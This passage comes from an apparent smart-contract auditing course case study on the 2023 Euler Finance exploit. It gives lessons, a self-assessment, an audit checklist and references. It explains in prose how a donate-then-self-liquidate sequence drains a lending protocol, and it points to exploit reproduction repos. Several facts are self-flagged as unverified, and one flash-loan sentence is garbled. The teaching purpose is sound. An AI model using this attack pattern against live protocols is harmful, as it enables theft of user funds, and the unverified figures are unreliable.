}The Handler exposes (deposit, withdraw, borrow, repay, mint, donateToReserves, liquidate) and records each attacker’s cumulative underlying-token flow. Foundry’s invariant runner with runs = 5000, depth = 200 will explore random sequences and find the donate-then-liquidate path within a few hundred runs.
This is the test that would have caught Euler. It does not require knowing what donateToReserves does. It does not require knowing what liquidate does. It only requires the principled assertion that no user can extract value from a sequence of self-actions on their own account. Cross-link Tuan-15-Audit-Methodology-Tooling for invariant-driven audit methodology.
7. Lessons
This is the most important section. Internalize each item.
7.1 Donation patterns to internal accounting are categorically dangerous
Any function that changes a user’s accounting balances without a paired health/solvency check is suspect. This is true even when the function appears self-harming (decreases own balance). The donor’s intent is irrelevant; the protocol’s invariants are what matter.
Audit reflex: on first encountering any of donate, sweep, claim, compound, mint, transferInternal, forfeit, convertRewardsTo<X>, enableMarket, setSubAccount — and any other state-changing primitive on a borrowing account — immediately check whether the function ends with a liquidity / health-factor verification.
If the function does not terminate in such a check, ask: what is the worst sequence of operations the caller could compose this with? If the answer involves the caller deliberately worsening their own state for downstream profit, you have a finding.
This generalizes well beyond Euler. The same shape appears in:
- ERC-4626 first-deposit donation (different exploit — share-price manipulation for future depositors — but same family).
- Compound’s COMP distribution bug (Sept 2021): a function that altered
compSupplierIndexwithout recomputing accrued COMP correctly, exploitable by users to claim more than they earned. - Pendle / Penpie 2024: a reward-accounting function reachable via reentrancy that updated balances without preserving the per-user accumulator invariant.
7.2 Liquidation logic + arbitrary user-callable state transitions = invariant violation surface
Liquidation is a redemption mechanism for protocol surplus. It is designed to be profitable for the liquidator (to incentivize the call) and not-too-painful for the borrower (to avoid griefing). But that profitability assumes the borrower’s bad state was created by external forces — price moves, time-based interest accrual, etc.
If a borrower can create their own bad state (via a donate-like primitive, a self-transfer that worsens own collateral, a self-cancel of a hedge, etc.), the liquidation discount becomes the borrower’s own arbitrage edge.
Audit invariant to write down: for every user-callable function f, the post-state of f must either (a) preserve solvency, or (b) be reachable only via a liquidation called by a different account. There must be no path where a single account both worsens its state and then exits with discount profit in a single transaction sequence.
7.3 “Audited X times” is not a quality signal — it’s a marketing signal
Euler had been audited by six firms, including Certora formal verification. The protocol’s TVL had grown to ~$300M on the strength of that audit chain. The audit chain didn’t catch this bug.
The signal that matters is not the number of audits. It is:
- Was the invariant set written down before code review?
- Was the invariant set tested with stateful fuzz / property-based testing?
- Was the invariant set re-verified after every new primitive was added (i.e., on every PR introducing a new state-changing user function)?
A protocol with one rigorous audit by a firm that did invariant-first review is safer than a protocol with six function-by-function reviews. Recognize this in your own audit reports — call out methodology, not just bug count.
7.4 Every state-changing user function ends with a check
This is the line every lending-protocol auditor should be able to recite without thinking:
Every public / external function on a lending protocol that can mutate a user’s collateral or debt must end with a call to
checkAccountStatus(msg.sender)(or its equivalent), unless that function is itself a liquidation that brings the user’s account from underwater toward healthy.
This is a type rule, not a code suggestion. A protocol with one user-facing function missing this terminating call has a critical bug, regardless of how harmless the function looks.
You can mechanically enforce this rule. Slither, for instance, can be extended with a custom detector for “functions modifying eToken / dToken mappings that don’t call _checkLiquidity or end with a require(_healthy(msg.sender))”. Add this to your audit toolbox.
7.5 Composition is where invariants live
The biggest mental shift from “function-level audit” (weeks 4–7) to “protocol-level audit” (week 8+):
- Function-level: “is this function correct in isolation?”
- Protocol-level: “is every reachable sequence of functions correct, with respect to every invariant the protocol depends on?”
Euler’s individual functions are all correct in isolation. The bug exists in the product space of (mint, donateToReserves, liquidate). That product space is what stateful fuzzing explores. Unit tests explore one point at a time and so cannot find composition bugs short of luck.
Make stateful fuzz / invariant testing your default for protocol work. Cross-link Tuan-Bonus-Fuzzing-Invariant-Advanced.
7.6 The discount-on-self trick is generalizable
Any time a protocol grants an actor a discount/bonus on an action and allows that actor to engineer the precondition for the discount, you have a risk. Examples beyond Euler:
- Liquidation discounts on self-engineered underwater state (Euler).
- Auction bonuses on self-bid-down (some MEV-auction designs).
- Reward-tier upgrades from self-staking-then-unstaking patterns (gauge weight gaming).
- Insurance-fund payouts on self-created bad debt (some perps).
The audit reflex: enumerate “actor controls precondition” pairs; for each, ask whether the discount is large enough to fund the cost of engineering the precondition.
7.7 Flash loans are amplifiers, not enablers
A persistent misconception in DeFi security writing is “flash-loan attack”. Flash loans are rarely the cause of an exploit; they are the amplifier. Euler’s bug is exploitable with 30M flash-loaned, the haul is 30M.
Whenever you see “flash-loan attack”, mentally rephrase as “exploit of [bug X], magnified by flash loan to extract large value in one tx”. The underlying [bug X] is what matters; flash loans are a permanent feature of DeFi (Aave V3, Balancer, Maker FlashMint, Uniswap V3 flash swaps) and cannot be designed away.
The corollary: never accept “we mitigate flash-loan attacks by detecting flash loans” as a defense. It is theatre. The bug is the bug.
7.8 Recovery posture matters — your incident response can be worth tens of millions
Euler’s outcome (full recovery) is largely attributable to Euler Labs’ response: rapid pause, transparent on-chain communication channel, signed legal-immunity offer, escalating bounty. None of these are “audit” topics, but they are auditable in the broader protocol-readiness sense.
In your audit reports for protocols, include an incident response readiness section:
- Is there a pause mechanism, and what does it block?
- Is the team known and reachable (multisig deployer addresses with verified identity)?
- Is there a pre-drafted whitehat / negotiation procedure?
- Is there a bounty program with funded escrow?
These are not vulnerabilities, but they are severity multipliers — a protocol with strong incident response can recover from a critical bug; one without it can’t.
8. What You Would Have Caught
This is the section to be honest with yourself about. After this case study, before you put it in your audit playbook, ask:
- Would I have flagged
donateToReservesas missing a liquidity check?- If you’ve done weeks 4–7, you should recognize “state-changing function on a lending protocol with no terminating health check” as a class-1 finding. The fact that Omniscia’s audit didn’t flag it is a methodology failure, not a knowledge failure — they were reviewing the diff, not the system.
- Would I have written the invariant “no profit from self-action sequence”?
- This is harder. It requires the invariant-first habit, which most auditors don’t have until they’ve been bitten. After Euler, you should.
- Would I have set up a stateful fuzz with
(deposit, mint, donate, liquidate)as the action set?- This is the technical question. If yes, the test would find the bug in minutes. If no, ask: what is missing from your audit setup, and is it cheaper to add now?
- Would I have proposed
require(msg.sender != violator)on liquidation?- This is a secondary defense — even with this, a similar attack with two coordinated EOAs would work. But it’s a free defense-in-depth measure and worth flagging.
- Would I have noticed the dynamic discount caps at 20%?
- On a code-review pass, yes — the formula is right there. The question is whether you would have asked “what is the worst case for the protocol when the discount is maxed?” instead of “is the math correct?”
Score yourself honestly. Most auditors at week 8 would score 1/5. After internalizing this case, you should be at 4/5 — anyone scoring 5/5 is, frankly, already a senior auditor.
The remaining gap — the one this course cannot close — is speed. Senior auditors recognize these patterns in seconds. That speed comes from having seen the patterns enough times to compile them out of conscious thought. The case-study reproduction in §6 is how you start compiling.
9. Audit Checklist Items (add to audit-checklist-master)
[ ] Every state-changing user function on a lending protocol terminates in
a health/solvency check (or is explicitly a liquidation that brings
HF up). Enumerate every such function; verify each.
[ ] No "donate", "sweep", "claim", "compound", or other "internal balance
transfer" primitive bypasses the standard account-status check.
[ ] Self-liquidation is either disallowed (`require(liquidator != violator)`)
OR the liquidation discount is small enough that no self-engineered
underwater state can be profitable.
[ ] Liquidation discount is bounded such that
discount × max_repay < headroom_lost_to_engineer_state.
For dynamic-discount designs (Euler-style), verify the cap is
consistent with this property.
[ ] Stateful fuzz with handler exposes (deposit, withdraw, borrow, repay,
mint, donate, claim, liquidate). Assert: net P&L of any single attacker
across any sequence of self-callable ops is ≤ 0.
[ ] Protocol invariants written down BEFORE code review. The
invariant set includes: solvency, HF-after-every-call, no-self-profit,
monotonic accumulators, mint/burn authorization, fee correctness.
[ ] Audit scope explicitly includes "composition of newly-added function
with all pre-existing user-callable functions". New primitives are
re-fuzzed against the full action set.
[ ] Incident-response readiness: pause mechanism, whitehat protocol,
bounty program, signed legal-immunity offer template.
10. References
Primary sources
- Euler Labs post-mortem (Mar/Apr 2023) — protocol-side timeline and technical explanation. [verify: https://medium.com/euler-finance — search “post-mortem March 2023”]
- Euler Labs “War & Peace” recovery narrative (Aug 2023) — https://www.euler.finance/blog/war-peace-behind-the-scenes-of-eulers-240m-exploit-recovery — Euler’s own retrospective on the negotiation, including selected on-chain transcripts.
- Omniscia incident post-mortem — https://medium.com/@omniscia.io/euler-finance-incident-post-mortem-1ce077c28454 — the firm that audited eIP-14 (the donate primitive) explains what was in scope and what wasn’t.
- Sherlock post-mortem — Sherlock published a “what we missed” piece acknowledging their contest had not enumerated the relevant invariant. [verify URL on sherlock.xyz blog]
Technical write-ups
- Halborn technical analysis — https://www.halborn.com/blog/post/explained-the-euler-finance-hack-march-2023 — step-by-step transaction trace, attacker contract reverse-engineering. [verify URL]
- BlockSec write-up — https://blocksec.com/blog/the-attack-of-euler-finance-and-aftermath — real-time monitoring narrative + technical breakdown. [verify URL]
- PeckShield technical thread — Twitter thread + blog post on detection and attack flow. [verify]
- Rekt News — https://rekt.news/euler-rekt/ — readable summary with attack tx hashes.
Tooling / repos for reproduction
- Euler V1 contracts (audit-frozen) — https://github.com/euler-xyz/euler-contracts — the actual deployed code. The vulnerable function lives in
contracts/modules/EToken.sol(functiondonateToReserves). [verify exact filename / commit hash for March 2023 state] - Foundry exploit reproduction repos — multiple educational repos exist on GitHub; search “euler exploit foundry” and prefer ones with
forge test --fork-url <archive-node> --fork-block-number 16817995style fork tests. [verify pre-attack block number]
Cross-references in this vault
- Anchor lesson: Tuan-08-DeFi-Security-AMM-Lending-Vault §3.6 (donation attack archetype) — primary place this case is taught.
- Adjacent attack class: Tuan-06-Vulnerability-Classes-Part-2 — flash loans, integer/rounding, oracle (none used here, but the family).
- Token-integration interactions: Tuan-07-Token-Standards-Integration-Risk — eToken / dToken are non-rebasing receipts; relevant background.
- Audit methodology: Tuan-15-Audit-Methodology-Tooling — invariant-first audit, custom Slither detectors, stateful fuzzing.
- Related case studies:
- Case-Cream-Iron-Bank-2021 — different mechanism (ERC-777 reentrancy) but same protocol family (lending) and same “audit didn’t catch composition” lesson.
- Case-Compound-COMP-Distribution-2021 — similar “single missing line in a state-changing function on a lending protocol”.
- Case-Beanstalk-Governance-2022 — flash-loan-amplified attack on a different vector (governance), same flash-loan-as-amplifier lesson.
Verification list
Items I have flagged [verify] in the body above, consolidated here for your fact-check pass:
- Exact loss figures across the six markets (200M vs 240M).
- The full audit firm list and dates.
- The exact set of vulnerable markets (5? 6?).
- The reference exploit transaction hashes.
- The exact attacker funding flow through Tornado Cash and any later de-anonymization.
- The exact filename + commit hash for the pre-patch
donateToReserves. - The exact Sherlock blog URL for the post-mortem.
- The Halborn / BlockSec / PeckShield blog URLs (some have moved domains since 2023).
- The Euler V2 launch date.
- The pre-attack block number for fork testing (typically Mar 13, 2023, block ~16817000 range).
Reconcile against an Ethereum archive node, Etherscan, and the official Euler Labs post-mortem before publishing any audit-report excerpt that quotes specific numbers from this file.
Last updated: 2026-05-16 See also: Tuan-08-DeFi-Security-AMM-Lending-Vault · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-15-Audit-Methodology-Tooling · MOC-Web3-Security-Mastery · audit-checklist-master